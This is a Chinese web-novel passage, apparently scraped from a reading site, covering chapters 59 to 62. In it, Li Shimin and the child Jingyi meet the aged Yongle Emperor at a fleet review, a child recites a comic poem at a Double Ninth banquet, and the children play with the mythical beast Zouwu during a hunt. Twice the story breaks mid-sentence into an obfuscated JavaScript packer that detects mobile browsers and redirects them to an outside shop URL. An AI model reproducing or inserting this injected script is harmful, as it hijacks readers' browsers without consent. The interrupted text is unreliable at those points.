再次恢复意识时,脚下是随波轻晃的坚实木甲板。眼前是无垠的、反射着刺目阳光的湛蓝海面,以及停泊在港湾中、如同海上山岳般的巨大宝船,洁白的帆樯如林,遮天蔽日。 空气中弥漫着浓烈的海水咸腥、异域香料、以及烈日炙烤木头甲板混合而成的、滚烫而复杂的气息。耳中充斥着海浪拍岸的轰鸣、悠长的号角、震天的锣鼓、还有成千上万人汇聚成的、几乎要掀翻穹顶的狂热欢呼与诵唱。 李世民在强烈的眩晕与感官冲击中,本能地将同时醒来、正惊恐瞪大眼的景颐死死护在怀里。他强忍不适,目光穿透刺眼的光晕与蒸腾的热浪,迅速扫视。 他们正站在最大一艘宝船高耸的舰艏。前方是延伸到视线尽头、旌旗招展、冠盖云集的人海。而在岸边最高处,那座极尽威严的明黄高台上,九龙华盖之下。 一位须发已然花白、面容刻满风霜却依旧身形魁梧的老人,正稳稳端坐。与记忆中那个豪迈的壮年帝王不同,眼前的朱棣,周身散发着经岁月沉淀后更为磅礴、也更为深不可测的帝王威仪。 此刻,这位已耳顺的永乐大帝,似乎也因这远超仪程安排的意外而微微一顿。他那双依旧明亮的眼睛,隔着喧嚣的人海与蒸腾的海上热浪,准确无误地、牢牢锁定了突然出现在他御前旗舰船头的李世民与景颐。 最初的、极短暂的惊愕,如同水纹般在他眼底荡开。随即,那惊愕迅速被一种更强烈、更灼热的情绪取代,他仿佛发现了远超预期的、绝世珍宝般的、毫不掩饰的巨大惊喜! 时光好似倒流回应天府的金殿,那份对新奇事物的勃勃兴致与不容置疑的占有欲,在此刻年迈的帝王眼中,燃烧得更加炽烈。 他微微前倾身体,花白的眉毛扬起,嘴角似乎牵起了一丝难以捉摸的弧度。并未提高声量,但那清晰、沉稳的声音,却带着一种奇异的穿透力,压过了港口的万千喧嚣,清晰地传入李世民与景颐耳边: “哈!果然是你们!” “朕的祥瑞……还有,这位贵客。” 59.第 59 章 那声“贵客”的余音尚在海湾回荡,训练有素的内侍与侍卫已然行动起来。 几乎在朱棣话音落下的同时,几名身形矫健的宦官已悄然出现在李世民与景颐身侧,态度恭谨却不容置疑地做出“请”的姿势,引领二人离开舰艏,通过临时架设的华丽舷梯,登上了皇帝所在的高台。 高台之上,视野更为开阔,海风猎猎。朱棣已命人在自己御座之侧,临时增设了两席。席位规格颇高,仅次于太子朱高炽,显然是将二人置于极高的礼遇位置,或者说,置于他绝对的掌控与观察范围之内。 景颐被这阵仗和四面八方射来的、含义复杂的目光弄得有些紧张,小手紧紧攥着李世民的衣摆,下意识地就想往他身后躲,更别提独自去坐那看起来就很显眼的座位了。 李世民安抚地拍了拍他的背,正要带他一同入席,却听上首的朱棣又开口了,声音带着几分戏谑与不容拒绝: “小麒麟,躲什么?到俺身边来坐。” 他指了指自己御座旁,一个更近、铺着柔软锦垫的绣墩,“让俺仔细瞧瞧,这些年长了多少斤两。” 景颐抬头,看看朱棣。这位老爷爷皇帝虽然头发胡子都白了,脸上皱纹也多,但那双眼睛看自己的时候,好像没有恶意,反而亮晶晶的,有点像李叔叔有时候看自己的样子,但又更……霸道一些。 他犹豫地看向李世民。 李世民心念电转。此刻人为刀俎,且这朱棣对景颐明显兴趣极大,强行违逆并非上策。他微微颔首,给了景颐一个“去吧,无妨”的眼神。 景颐得了李世民首肯,小跑到朱棣御座旁,还没等他爬那个高高的绣墩,朱棣忽然大手一伸,像拎个小猫崽似的,轻轻松松就把景颐提溜了起来,在手里掂了掂。 “嗯,不错,” 朱棣掂完,将一脸懵的景颐放到绣墩上,捋着胡须笑道,“有点重量,看来没饿着。” 景颐坐在墩子上,晃了晃小短腿,闻言立刻瞪圆了眼睛,小脸上写满了“这怎么可能”的不可思议,反驳道:“才没有很重!我这些天吃了好多好多的苦!学习的苦!苦得我都快吃不下饭啦!肯定轻了!” 他声音清脆响亮,带着孩童特有的夸张,惹得附近几位耳朵尖的大臣都忍不住肩膀微抖。连一直神色沉稳的李世民,嘴角也忍不住抽了抽,隔着不远的距离,毫不留情地拆台: “哦?苦得都吃不下饭了?那昨日……咳,我书房里那盘桂花糕,怎么转眼就没了?莫非是让老鼠叼了去?” 景颐小身板一僵,脑袋“唰”地转向李世民,大眼睛眨巴眨巴,小脸以肉眼可见的速度泛起一层薄红,他梗着脖子,眼神开始乱瞟,最后仰头看天,用蚊子般的声音心虚嘟囔:“反、反正……不是我吃的……可能是……是风刮走了……” 这此地无银三百两的架势,让绷着脸的朱棣终于忍不住,爆发出一阵洪亮畅快的大笑,连带着台下不少人也跟着笑了起来,气氛顿时松快不少。 台下,太子朱高炽依旧乐呵呵的,觉得这小娃儿有趣。 可其他几位皇子,尤其是几个正当少年、渴望祖父关注的皇孙,看着那坐在御前、被皇祖父亲手掂量、还逗得皇祖父开怀大笑的陌生小孩,心里那叫一个不是滋味。脸上还得维持着“皇祖父开心就好”的得体微笑,心里的小人儿却已经酸得能腌酸菜了: 我们背书背到吐血也没见老爷子这么乐呵过!这小子谁啊!凭什么! 宴乐再起,重头戏开场。郑和肃立御前,开始指挥进献此次航行的收获。 巨大的红珊瑚、耀眼的各色宝石、氤氲异香的香料木材、光洁绚丽的西洋布匹、栩栩如生的牙雕犀刻……一件件、一箱箱珍奇,在宦官的高声唱名与使者的解说中,络绎呈于御前。 每呈一物,朱棣并不先作评价,而是侧头,饶有兴致地问他新任的小品鉴官:“小麒麟,你看此物如何?可喜欢?” 景颐立刻进入状态,坐在绣墩上,挺直小腰板,努力摆出“我很懂行”的架势,睁大那双清澈的眼睛,仔细观察,然后给出他独一无二的品鉴报告。 见到光华流转的宝石,他点点头:“亮亮的,好看!比玄女姐姐簪子上的露珠颜色多一点,但没那个亮得透。” 见到一株形状奇特的紫色沉香木,他凑近闻了闻,皱皱小鼻子:“香是香,但有点闷闷的,没有师父点的那个清心香好闻,那个闻了脑袋清楚。” 见到一幅用金线、鸟羽织就的华丽挂毯,上面绣着异域神兽,他仔细看了半天,忽然“啊”了一声,指着其中一只带翅膀的狮子样怪物,小声对朱棣说:“这个我见过!在爷爷的火云洞里,有块石头上刻的跟这个有点像,不过那个是石头,这个是毛毛。” 见到一笼子叽叽喳喳、羽毛艳丽的极乐鸟,他眼睛发亮:“这个好看!尾巴会开花!声音也好听!比御花园里那些喜鹊唱歌好听多了!” 见到郑和特意呈上的、用琉璃瓶装着的、来自天方的蔷薇露,景颐好奇地打开小塞子闻了一下,立刻被那浓烈甜腻的香气呛得打了个喷嚏,小脸皱成一团,赶紧盖上,嫌弃地推远一点:“这个不好!太香了,熏鼻子!还没有秋天桂花的味道好闻呢!” 他每评价一句,朱棣都听得津津有味,时而大笑,时而点头,也不管这孩子评价得是否专业,是否得体,那份童真稚语和时不时蹦出的、似乎颇有来历的对比,反而比臣子们千篇一律的奉承有趣得多。 连郑和都忍不住多看了这灵秀异常的孩子几眼。 展示接近尾声,各种奇珍异兽基本登场完毕。景颐看着空了的场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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海风猎猎,吹动众人的衣袍。朱棣站在高高的舰艏,眺望着无边无际的蔚蓝大海,又看了看身边气度不凡、显然对航海与军械颇有见解的李世民,再瞧瞧正蹲在甲板上,试图研究一个废弃绳结为什么那么结实的灵秀孩童景颐,眼中闪烁着复杂而明亮的光芒。 这意外的相逢,这超越认知的祥瑞与贵客,恰逢他功业鼎盛、海内臣服之时出现,是巧合,还是天意?是昭示着他的伟业连上苍都为之侧目,还是预示着……更广阔的、尚未被他纳入版图的天下? 无论答案是什么,此刻,这位耳顺之年、雄心未老的永乐大帝,心情是极为愉悦的。他拍了拍身旁被晒得发烫的船栏,对李世民朗声道: “如何?朕这船,可能入海擒蛟,辟波斩浪?” 李世民望着浩瀚的海洋,缓缓点头,语气诚挚:“陛下之船,可通天地,可达八荒。有此利器,胸怀四海,自当无远弗届。” 朱棣闻言,再次放声大笑,笑声混着海风,传出去很远。 60.第 60 章 九月初九,天高气爽,长安城南的乐游原上,草木未凋,景色开阔。 李世民循旧例,在此举行重阳登高宴会,与近臣、文士、宗室子弟共度佳节。一时间,原上冠盖云集,丝竹悠扬,文人墨客们临风把酒,赋诗唱和,好不风雅。 这等场合,自然少不了孩子们的身影。李承乾、李泰、李治几位皇子随侍在侧,丽质、豫章也跟随长孙皇后一同前来。景颐则像只撒欢的小马驹,在允许的范围内跑来跑去,对什么都好奇。 看文士们摇头晃脑地吟诗,看乐工演奏奇特的乐器,更被尚食局特意为重阳准备的、堆成小山状、插着小彩旗的重阳糕牢牢吸引。 宴席间,诗兴渐浓。李世民先作了一首应景的《九月九日幸临渭亭登高作》,群臣纷纷唱和,或雄浑,或清丽,博得阵阵喝彩。 气氛正酣时,李世民目光扫过席间一位面容清瘦、目光却极有神采的年轻官员,笑道:“宾王近日奏对,常能切中时弊,颇有见地。今日登高,可有好句?” 那年轻官员正是新近简在帝心、以直言敢谏闻名的监察御史马周。他闻言起身,不卑不亢,略一沉吟,便口占一首,既赞秋光,又暗含讽谏君王勤政恤民之意,言辞恳切,格局不俗,引得李世民抚掌称赞,众臣亦纷纷侧目。 就在这文雅氛围达到高潮时,一个清脆的、带着点奶气的声音,很不合时宜地插了进来,满是好奇: “马叔叔,你诗里说的蟋蟀是什么虫呀?叫得好听吗?比秋蝈蝈厉害吗?” 众人循声望去,只见景颐不知何时蹭到了离御座不远的地方,正扒着李治的胳膊,探出个小脑袋,一脸认真地发问。他显然只听懂了诗里“蟋蟀在堂”这句最直白的,对后面的深意完全没懂。 马周一愣,他性格刚直,却不迁腐,见是个灵秀可爱的孩童发问,便耐心解释道:“蟋蟀乃秋虫,其鸣声瞿瞿,与夏虫不同,文人常以其鸣象征时节变迁。” 他顿了顿,觉得跟孩子说太多深意无益,便补充道,“至于与秋蝈蝈孰厉害……此非争斗之虫,无法比较。” “哦……”景颐似懂非懂,点点头,然后又冒出一句,“那它吃重阳糕吗?” “噗——” 旁边正喝酒的唐俭差点呛到,连忙以袖掩面。连一贯严肃的魏徵,嘴角都微微抽动了一下。李世民以拳抵唇,强忍笑意。长孙皇后则无奈地笑着摇头。 马周也被这跳跃的问题弄得有些哭笑不得,但看着孩子清澈求知的眼神,还是认真回答:“蟋蟀食草叶露水,不食米糕。” “好吧。”景颐似乎有点遗憾不能和虫子分享点心,缩回了脑袋。 这时,不知哪个年轻宗室子弟起了玩闹之心,趁着酒意,起哄道:“今日佳节,连小郎君都如此关心诗赋虫豸,不若也赋诗一首,以添雅兴如何?” 这话一出,不少年轻人都跟着附和,笑着看向景颐。他们倒无恶意,纯粹是觉得这皇帝跟前的小红人有趣,想逗逗他。 景颐眨眨眼,看看周围笑眯眯的大人们,又看看御座上似乎也等着看他反应的李叔叔,心里有点打鼓。 作诗?他连《千字文》都背不利索呢!可这么多人看着……尤其是四兄李泰,正冲他做鬼脸,好像在说“你不行了吧”?心里那点好胜心和小小的表现欲“噌”地冒了出来。 哼!苏叔叔教过的!虽然只教了那么一次,但苏叔叔作诗时那摇头晃脑、特别有范儿的样子,他可记得清清楚楚! 他深吸一口气,从李治身边站出来,还特意清了清嗓子,学着记忆中苏轼挥毫时的架势,负起小短手,挺起小胸膛,努力摆出一副豪迈不羁、胸有成竹的派头,甚至微微昂起了下巴,目光深邃地望向乐游原远处苍茫的秋色。 他这副小大人的做派,配上那张犹带婴儿肥的严肃小脸,顿时吸引了全场的目光。连李世民都忍不住坐直了些,眼中带笑,饶有兴致地想看看这小家伙能憋出什么惊世之作。不少文臣也捋须微笑,期待这灵秀孩童能给出点有趣的句子。 只见景颐酝酿足了气势,用他所能发出的、最气沉丹田的声音,一字一顿,铿锵有力地吟出了第一句: “重阳——登高!” 声音洪亮,字正腔圆,还带着拖腔。嗯,起句点题,虽然直白,但气势尚可。众人微微颔首,继续期待。 “上山——吃糕!” 第二句接上,内容急转直下,从“高”直接跳到“糕”。不少人嘴角开始抽搐,但还能忍住,毕竟童趣嘛。 景颐完全沉浸在自己的创作中,仿佛找到了感觉,声音更响,脑袋晃动的幅度也更大了: “红果满头——” 嗯,提到茱萸了,还算扣题。只是这……画面感有点太强。 最后一句,他几乎是吼出来的,带着满满的、自以为是的升华与祝福,小脸都憋红了: “陛下欢笑!!!” 四句诗吟罢,他还保持着那个昂首挺胸、负手望远的豪迈结束姿势,小胸膛微微起伏,仿佛完成了一件了不得的壮举。 现场陷入了死一般的寂静。 所有人都呆呆地看着场地中央那个努力维持诗人风范的小豆丁,脑子一时没转过来。从那么唬人的起势,到这么……这么质朴狂野的内容?这落差也太大了吧! “噗——哈哈哈哈哈哈!!!” 不知是谁第一个没绷住,笑声像决堤的洪水,瞬间冲垮了寂静的堤坝。李世民拍着案几,笑得眼泪都出来了,魏徵扭过头,肩膀剧烈耸动,房玄龄一口茶喷了出来,咳嗽连连,长孙无忌指着景颐,笑得说不出话。 文臣们尚且如此,武将和宗室子弟们更是毫无顾忌,笑得东倒西歪,捶胸顿足。李泰直接笑得滚到了李承乾身上,李承乾一边扶他一边自己也笑岔了气。 景颐被这突如其来的爆笑弄得懵了,维持不住豪迈姿势,放下小手,茫然地眨巴着大眼睛,看看这个,又看看那个,小脸上慢慢浮起困惑和一丝委屈,他学得很像苏叔叔啊!诗也作完了,大家怎么笑成这样?难道……作得不好吗? 长孙皇后边笑边擦眼泪,对他招手:“好孩子,快过来……你这诗……嗯,别具一格,真情实感,很好,很好……” 她实在找不到更合适的词了。 李世民好不容易止住笑,上气不接下气地说:“好!好一个‘陛下欢笑’!我今日确实哈哈大笑了!赏!重重有赏!就赏你……嗯,让你大姐姐专门给你做一盒子,不,两盒子你最爱吃的枣泥酥!” 景颐一听枣泥酥,还是两盒子,立刻把诗好不好的疑问抛到九霄云外,眼睛“唰”地亮了,欢呼一声,哒哒哒跑过去,被李世民一把捞起来抱在膝上,得意地冲着还在笑的李泰扬了扬小下巴。 正经的诗会环节,就在景颐这首旷世诗作带来的欢乐中告一段落。接下来是自由活动时间。大人们或继续饮酒谈笑,或结伴漫步赏景。 孩子们则彻底解放。尚食局送来了大量小巧可爱的重阳糕,有做成小羊、小狗形状的,也有插着茱萸叶的。宫女们还拿 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景颐咯咯笑着,举着剩下的茱萸满场乱跑,李泰在后面追。不少年轻的宗室、大臣子弟见开战,觉得有趣,也嘻嘻哈哈地加入,互相投掷茱萸果,或者偷偷给同伴衣领后塞枝条,一场无组织无纪律的茱萸混战就此打响。 景颐一边躲避李泰的追捕,一边还不忘初心,瞅准机会又举着剩下的茱萸去招惹正在稍远处笑看热闹的丽质和豫章。两位公主惊笑着提起裙摆跑开,加入了这场欢乐的追逐。 一时间,乐游原的这片草地上,衣袂飘飘,笑语连连,红艳艳的茱萸果和枝条在空中划出道道弧线。 景颐被李泰追得紧,慌不择路,朝着人群稍少的一侧跑去。而唐善识正带着几个伙伴从那个方向过来,试图包抄景颐,加入战团。 就在一片纷乱的奔跑与笑闹中,跑在前面的豫章公主,因回头笑着看景颐和李泰追到哪儿了,一时没留意前方拐过来的身影,冷不丁就撞进了一个带着淡淡皂角清气的怀抱里。 “啊呀!” 豫章轻呼一声,稳住身形,抬眼一看,是面熟的唐家五郎君。她脸上还带着奔跑后的红晕和未散的笑意,立刻礼貌地、语速飞快地笑着道了句:“唐五郎对不住!没撞疼你吧?” 话音未落,甚至没等唐善识回答,她已像只翩跹的蝴蝶,轻盈地一转身,拉着赶上来的丽质的手,笑着继续跑开了,清脆的笑声洒了一路,很快又融入了身后追来的景颐、以及更后面大呼小叫的李泰等人掀起的欢乐浪潮中。 唐善识却结结实实地被这一撞,撞得有些发懵。 他下意识地抬手摸了摸被撞到的胸口,目光有些发直地追随着那一角藕荷色裙裾消失的方向,脑子里一片空白,完全忘了自己跑过来是干什么的,也忘了周围喧闹的人群。 就在这时,他那几个不靠谱的损友趁机一拥而上,嘻嘻哈哈地将大把的茱萸胡乱插了他满头满脸,甚至塞进了他的衣领。 “哈哈哈!子文!发什么呆呢!是不是被公主撞傻了?” “来来来,给你也添点彩头!” “别傻站着,快追啊!” 唐善识被茱萸叶子戳到脖子,才猛地回过神,脸腾地红了,也不知是羞是恼,一把扯下脸上的枝叶,作势要打:“去去去!少胡说!谁傻了!” 他胡乱拍打着身上的茱萸,目光却又不自觉地往豫章公主离开的方向瞟了一眼,那里早已是欢笑追逐的人影,分不清谁是谁了。 61.第 61 章 九月的陇州鱼龙川,天穹碧蓝如洗,原野一望无际,金黄与深绿交织,正是秋高气爽、野兽膘肥的狩猎好时节。 皇家秋狝的旗帜迎风招展,猎猎作响。李世民一身劲装,外罩明光铠,骑在马上,扫视着苍茫山林,自有一股君临天下的豪迈与威仪。他身后,文武百官、宗室子弟、禁军精锐皆鞍马整齐,刀弓雪亮,只等天子一声令下,便要纵马入林,一试身手。 长孙皇后今日也换下了繁复的宫装,穿着一身利落骑服,青丝高束,英姿飒爽。丽质和豫章伴在母亲身侧,同样身着便于行动的胡服,小脸上满是跃跃欲试的兴奋。李承乾、李泰等年长皇子更是摩拳擦掌,检查着自己的弓矢,准备在父皇面前一展身手。 唯有场边一角,气氛与这肃杀激昂的狩猎前奏格格不入。景颐和李治,像两只被单独圈出来的、毛色鲜亮却无处撒欢的小雀儿,并排坐在铺了锦垫的胡床上,两双大眼睛眼巴巴地、近乎贪婪地望着远处那些高头大马和寒光闪闪的兵器,小脸上写满了羡慕两个大字。 “大姐姐……” 景颐第不知道多少次扯了扯坐在旁边矮凳上、正含笑看着远处夫君的长孙皇后的衣袖,声音拖得又软又长,带着十二万分的恳求,“就让颐儿去看看嘛……就看一眼!我保证不乱跑,就看看叔叔是怎么射中大老虎的!” “雉奴也想去……” 李治也小声帮腔,眼巴巴地望着母亲。 长孙皇后收回目光,温柔又无情地摸了摸两个孩子的头:“不成。林深草密,流矢无眼,你们还小,骑术尚未精熟,怎能冒险入围场?乖乖待在此处,有宫人陪着玩耍,等耶耶和兄长们猎得新鲜野味回来,晚上我们烤鹿肉、炙野兔,岂不更好?” “可是……” 景颐还想挣扎,小嘴撅得能挂油瓶。他想象中的秋狝,是骑着大马,跟着李叔叔在森林里呼啸而过,用小小的弓箭射中肥美的兔子,然后被大家夸赞小英雄,而不是坐在这里看蚂蚁搬家! 正当两个小家伙垂头丧气,觉得这个秋狝过得实在憋屈时,李世民打马检阅队伍路过这边。 看到他俩那副蔫头耷脑、仿佛被霜打了的小白菜模样,不由朗声一笑,勒住马缰,弯腰用马鞭的玉柄轻轻点了点景颐的额头:“怎么?坐不住了?也想跟去凑热闹?” “想想想!” 两颗小脑袋瞬间抬起来,点得像小鸡啄米,眼睛里的光“唰”地重新点亮,“耶耶/李叔叔,带我们去吧!我们保证听话!” 李世民看着他们渴望的小脸,又看看旁边妻子不赞同的眼神,沉吟一瞬,笑道:“带你们入围场是万万不能。不过……” 他话锋一转,对旁边侍立的侍卫长吩咐道,“去,把那匹最温顺的果下马牵来。多派一队人手,护着雉奴和景颐,只准在围场外缘那片平坦草场上溜达,绝不许靠近林子,更不许踏入箭道百步之内。若有一丝差池,唯你是问。” “诺!” 侍卫长凛然应命。 “耶耶/李叔叔最好了!是天底下最好最好的耶耶/叔叔!” 两个孩子顿时欢呼雀跃,差点从胡床上蹦起来,刚才的沮丧一扫而空。 不能打猎,能骑马在场边溜达,看看热闹,也比干坐着强百倍! 于是,在李世民一声令下,千骑卷平冈、没入苍茫山林开始真正的秋狝时,景颐和李治的皇家至尊VIP场边观光游也正式开始了。 一匹还没他们肩膀高、通体枣红、性情温顺得像绵羊的小果下马被牵了过来。马鞍是特制的,加了厚厚的软垫和护栏。 景颐和李治在宫人的帮助下,笨手笨脚却兴奋无比地爬上了马背,两人共乘一骑。紧接着,至少二十名全副武装、神情肃穆的侍卫迅速就位,前面开道,左右护卫,后面压阵,将这匹小矮马和它背上的两位小贵人围得密不透风。 然后,这支奇特的队伍,就以一种庄严而缓慢的速度,大约比老奶奶散步快不了多少,沿着被侍卫用彩旗明确标示出来的、绝对平坦安全的观光路线,进行环绕观礼。 起初,两个孩子还很兴奋,坐在马背上左顾右盼,指着远处飞扬的尘土和隐约传来的呼喝声猜测是哪位将军在追猎物。 但很快他们就发现,这观光实在有点无聊。视野被高大的侍卫遮挡大半,只能从人缝里看到一点点远处的动静。所谓围场外缘,其实就是一大片平坦的、草都被踩秃了的荒地,除了几丛野花和零星的灌木,什么有趣的都没有。 那些令人血脉贲张的狩猎场面,隔着老远,只能看到模糊的人影和马匹,听个热闹的声响。 溜达了约莫半个时辰,景颐和李治最初的那点新鲜劲就耗光了,开始觉得屁股被马鞍硌得有点疼,小脑袋也开始一点一点地犯困。 “雉奴,我们下去玩会儿吧?” 景颐提议,指着不远处一条波光粼粼的小溪和溪边几块光滑的大青石,“去那边歇歇,吃点点心。” 李治正无聊地揪小马的鬃毛玩,闻言立刻点头:“好呀好呀!” 侍卫长见状,略一观察那溪边地形开阔,远离丛林,并无隐蔽危险,便指挥侍卫们先过去清场检查,确认安全无虞后,才小心地将两个小祖宗从马背上抱下来,护送到溪边那块最平整干净的大青石旁。 宫女早已铺开柔软的毡毯,摆上从营地带来的精致点心、洗净的时令水果,还有温热的蜜水。 两个孩子顿时把刚才的无聊抛到脑后,脱了略有些闷脚的小靴子,只着罗袜,坐在毡毯上,对着点心水果发动进攻,吃得腮帮子鼓鼓,像两只屯粮的小仓鼠。 微风拂过溪面,带来清凉的水汽和青草的芬芳,远处狩猎的喧嚣仿佛成了模糊的背景音,这一刻的惬意,似乎比刚才那拘束的骑马观光有趣多了。 就在景颐捏着一块玫瑰酥,试图把掉在毡毯上的芝麻粒捡起来时,旁边的树林边缘,忽然传来一阵极其轻微的、不同于风声的窸窣声。 训练有素的侍卫们几乎在声音响起的瞬间就绷紧了神经。“警戒!” 侍卫长低喝一声,所有侍卫“唰”地拔刀出鞘,迅速移动,以青石为中心,形成一道紧密的人墙,将两个孩子牢牢护在身后。 只见一头体态修长、毛色斑斓、拖着一条极长尾巴、形似猛虎却毫无凶戾之气的异兽,迈着优雅从容的步子,缓缓从林间走出。它周身仿佛笼罩着一层柔和的光晕,眼神温润灵动,好奇地看向这边。 是驺吾。仁兽驺吾,日行千里,不践生草。它本就栖息在这片灵气丰沛的山川之间,今日被秋狝的喧嚣惊动,正欲寻一处更幽静之地,却敏锐地嗅到了一股极其纯粹、带着天地祥瑞本源气息的味道。 侍卫们可不管它看起来多漂亮多温顺,在他们看来,这分明就是一头罕见的、体型庞大的猛虎!而且居然敢靠近皇家营地,威胁两位小殿下! 所有侍卫的额头都冒出了冷汗,握刀的手因为用力而指节发白,心中只有一个念头:绝不能让它再靠近一步!哪怕拼了性命,也要护得殿下周全! 然而,被护在中间的景颐,却从人缝里看见了驺吾。他不仅不怕,眼睛反而“唰”地亮了,像发现了绝世珍宝,嘴里还叼着半块玫瑰酥,就兴奋地大喊:“哇!好漂亮的大猫猫!” 一边喊,一边像条灵活的小泥鳅,从侍卫腿边钻了出去,张开手臂就朝驺吾扑了过去! “小郎君不可!” 侍卫肝胆俱裂,想要阻拦已来不及。 只见景颐结结实实地扑到了驺吾修长优雅的脖颈上,小胳膊努力环住,毛茸茸的小脑袋在它颈侧那温暖光滑、如同顶级丝绸般的皮毛上亲昵地蹭啊蹭,嘴里还不停地发出满足的、软乎乎的喟叹和毫无章法的夸赞: “你好漂亮呀大猫猫!毛好软好滑!比最软的毯子还舒服!尾巴也好长好漂亮!会发光!你是我见过最最最漂亮的大猫猫了!比御花园里所有的猫猫,哦不,比所有的老虎、豹子、大马加起来都好看!你是神仙派来的吗?” 驺吾被他扑得微微一晃,随即稳住了身形。它低下头,用湿润冰凉的鼻尖,极其轻柔地碰了碰景颐因为兴奋而泛红的小脸蛋,喉咙里发出低低的、愉悦的、如同春日溪流潺潺般的呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319929|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噜声。 那声音带着奇异的安抚力量,让原本紧绷到极致的侍卫们都莫名地感到心神一松。 它甚至还伸出宽厚柔软的舌头,轻轻舔了舔景颐额前汗湿的碎发,眼中盛满了柔和的笑意,仿佛在说:小麒麟,你也很可爱。 侍卫们:“……” 他们握刀的手僵在半空,眼睛瞪得比铜铃还大,嘴巴无意识地张开,完全被这超出理解范围的画面惊呆了。 这、这到底是什么情况?这老虎成精了?还是小郎君天赋异禀,有驯兽之能?或者说……这根本不是老虎,是某种祥瑞神兽?可它明明长得就像老虎啊!只是格外漂亮温顺罢了……众人脑子里一团乱麻,世界观受到了不小的冲击。 李治一开始也吓得小脸发白,死死揪着身边宫女的袖子,躲在一个身材最高大的侍卫身后,只敢露出一只眼睛偷看。但见景颐不仅安然无恙,还在那大猫猫身上蹭得开心,那大猫猫也温顺得不可思议,他心里的恐惧慢慢被强烈的好奇心取代。 他小心翼翼地挪出来一点,小声问:“景颐,它、它真的不咬人吗?不疼吗?” “不咬不咬!可乖了!一点都不疼,毛茸茸的,可舒服了!” 景颐抬起头,小脸红扑扑的,眼睛亮得惊人,热情洋溢地招手,“雉奴快来摸摸!真的,不骗你!比摸毛球还舒服!它的毛会发热!” 李治被他说得心动不已,看看那大猫猫温润无害的眼神,又看看景颐毫无防备的快乐模样,终于鼓起勇气,松开宫女的袖子,一步一步,慢吞吞地挪了过去。他伸出白白嫩嫩、还有些微微发抖的小手指,试探性地、飞快地碰了一下驺吾的前腿。 触手温暖,皮毛顺滑如缎,闻起来似乎还带着阳光的味道。 驺吾配合地一动不动,甚至将那条蓬松的长尾巴轻轻扫过来,尾尖那簇雪白的绒毛拂过李治的小手,痒痒的。 李治“噗嗤”一声笑了出来,心里的害怕瞬间烟消云散。他大着胆子,将整个小手都贴在驺吾的背上,顺着毛流的方向摸了摸,果然光滑柔软得不可思议,而且掌心能清晰地感觉到那皮毛下强健而温热的肌肉,以及平稳有力的心跳。 “真的哎!好软!好暖和!” 李治也兴奋起来,学着景颐的样子,趴到驺吾身上,把脸埋进那浓密温暖的长毛里,舒服地叹了口气。 两个孩子顿时把侍卫、宫女、点心全抛到了脑后,围着这头从天而降的漂亮大猫猫玩疯了。他们一会儿比赛谁爬得快,从驺吾的脖颈爬到背脊,再滑下来,一会儿又好奇地去摸驺吾的耳朵、胡须,研究它爪子上柔软的肉垫。 驺吾脾气好得惊人,或者说,它似乎非常享受这两个纯净孩童的亲近。它由着他们在自己身上爬上爬下,甚至配合地调整姿势,让他们躺得更舒服。当景颐试图给它编小辫子却弄得一团糟时,它也只是无奈地晃晃脑袋,用尾巴轻轻扫开那双捣乱的小手。 玩闹了一阵,驺吾似乎觉得光是趴着有些无趣。它那条蓬松美丽的尾巴,开始有节奏地、慢悠悠地左右摆动起来,尾尖那簇雪白的绒毛在空中划出优美的弧线,像一根无比诱人的、超大号逗猫棒。 景颐和李治的注意力立刻被吸引了。 “看!尾巴在动!” 景颐眼睛一亮,伸出小手想去抓。 那尾巴却灵巧地一摆,刚好从他指尖滑过。 “嘿!别跑!” 李治也从另一边扑过来。 尾巴又轻盈地扬起,躲开了李治的袭击。 两个孩子顿时来了劲,把追逐驺吾的尾巴当成了最新鲜有趣的游戏。他们一左一右,嘻嘻哈哈地围着驺吾转圈,跳起来,扑过去,试图抓住那不断摆动、仿佛有自己生命的漂亮长尾。 驺吾则好整以暇地趴着,只微微转动头颅,用尾巴逗引着他们,时而高高扬起,时而低低扫过地面,时而绕个圈,引得两个孩子东奔西跑,气喘吁吁,笑声洒满了溪边草地。 “哈哈!我差点就抓到了!” “看我的!我跳得高!” “它又跑啦!大猫猫耍赖!” 62.第 62 章 阳光透过稀疏的树冠,洒下斑驳跳跃的光点,落在追逐的孩童和慵懒仁兽身上,构成一幅奇异又无比和谐温馨的画面。 侍卫们从一开始的极度紧张,到后来的目瞪口呆,再到现在的麻木。他们持刀的手早已酸软,却依然不敢放下,只能像一群最敬业的背景板,围着这超出常理的人兽嬉戏图,保持着警戒的姿势,心里五味杂陈。 这差事……也太考验心脏了。 玩累了,两个孩子又趴回驺吾身上休息。驺吾体贴地伏下身体,让他们能更舒服地枕着它温暖柔软的腹部。 秋日的阳光暖洋洋的,溪水潺潺,微风带着青草香,两个孩子昏昏欲睡。 就在这时,一道温和悦耳、如同清风拂过琴弦的声音,响在了景颐的脑海中:【小麒麟,玩得可还开心?怎的跑到这凡俗猎场、兵戈喧嚣之地来了?】 正揪着驺吾腹部长毛数数的景颐动作一顿,茫然地抬起头,四处张望:“嗯?谁在说话?” 他看看怀里同样昏昏欲睡的李治,又看看周围肃立的侍卫,满脸疑惑。 李治被他吵醒,揉揉眼睛,含糊地问:“怎么了景颐?你说什么?我没说话呀。” 驺吾眼中掠过一丝笑意,再次传音,声音里带着调侃:【是我,你靠着睡觉的大猫猫。怎么,只许你蹭我,不许我跟你说话?】 景颐这次听真切了,声音的来源……好像就是身下!他猛地低头,看着驺吾那身光滑的皮毛,又对上它含笑的眼睛,小嘴惊讶地张大,随即爆发出更大的惊喜: 